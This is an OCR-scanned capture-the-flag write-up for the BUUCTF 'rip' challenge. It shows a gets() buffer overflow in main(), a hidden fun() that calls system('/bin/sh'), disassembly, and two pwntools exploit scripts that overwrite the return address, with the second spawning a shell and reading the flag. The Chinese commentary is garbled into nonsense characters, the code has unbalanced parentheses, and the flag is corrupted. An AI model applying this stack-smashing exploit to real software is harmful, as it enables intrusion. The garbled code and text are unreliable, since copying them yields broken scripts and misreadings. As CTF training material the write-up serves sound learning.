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@ JBUUCTF, checksec pwnil
[*] jhomef1QL1ndarjBUUCTF;pwn;rlpfpwnl'
Arch: amd64-64-1little
RELRO: Partial RELRO

Stack:
NX:
PIE:
RWX:

Hida®iC4i, W LAE 2R gets i B My B AR B ), WA% thIRIFIHEE, F+8=23

1fint _ cdecl main(int argc, const char **argv, const char **envp)
24

3| char s; // [rsp+1lh] [rbp-Fh]

4

5| puts(“"please input");

6| gets(&s, argv);

7| puts(&s);

3| puts("ok,bye!l!ll");

9 return @;
100}

BEANE I — A funi® $OaT DA B #e Bk % 23X B R IK Eshell

1lint fun()

2

3| return system("/bin/sh");
41}

.text:0000000000401185 main endp

-text:0000000000401185

-text:0000000000401186

-text:0000000000401186 ; ===============5 U B R 0 U T I N E ============c===c———o—ooooooee
-text:0000000000401186

.text:0000000000401186 ; Attributes: bp-based —r“rm;*—_-__—
-text:0000000000401186

-text:0000000000401186 public fun

.text:0000000000401186 fun proc near

.text:0000000000401186 ; _ unwind {

-text:0000000000401186 push rbp

-text:0000000000401187 mov rbp, rsp
.text:000000000040118A lea rdi, command ; "/bin/sh”
.text:0000000000401191 call _system
-text:0000000000401196 nop

-text:0000000000401197 pop rbp

-text:0000000000401198 retn

.text:0000000000401198 ; } // starts at 401186
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from pwn import *
p = process("./pwnl"

payload = "a" * 23 +p64(0x401186
p.sendline(payload

p.interactive

SR, crash7 .

iskindar@ubuntu:~/BUUCTF/pwn/ripS python exp.py
[+] Starting local process './pwnl': pid 5402
[+] Opening connection to node3.buuoj.cn on port 29157: Done

[*] Switching to interactive mode
timeout: the monitored command dumped core
[*] Got EOF while reading in interactive
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Q: FTEMT PWN ERITEZEI T "timeout: the monitored command dumped core" iR, HaFEIZEAT?
Q: | got a message said 'timeout: the monitored command dumped core' when | PWN, how | can do?
A {EEE http://blog.eonew.cn/archives/958 ,

A: Please check it(Chinese version): http://blog.eonew.cn/archives/958.
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from pwn import *

p = process("./pwnl"
p = remote("node3.buuoj.cn",29157

payload = "a" * (0xf+8)+p64(0x401187

p.sendline(payload
p.interactive

& )5 KB Flflag .

iskindar@ubuntu:~/BUUCTF/

pwn/rip$ python exp.py

[+] Starting local process '.fpwnl': pid 5468
[+] Opening connection to node3.buuoj.cn on port 29157:
[*#] Switching to interactive mode

cat flag
flag{27080637-bb5d-4674-835¢c-f687b08Ba%981}
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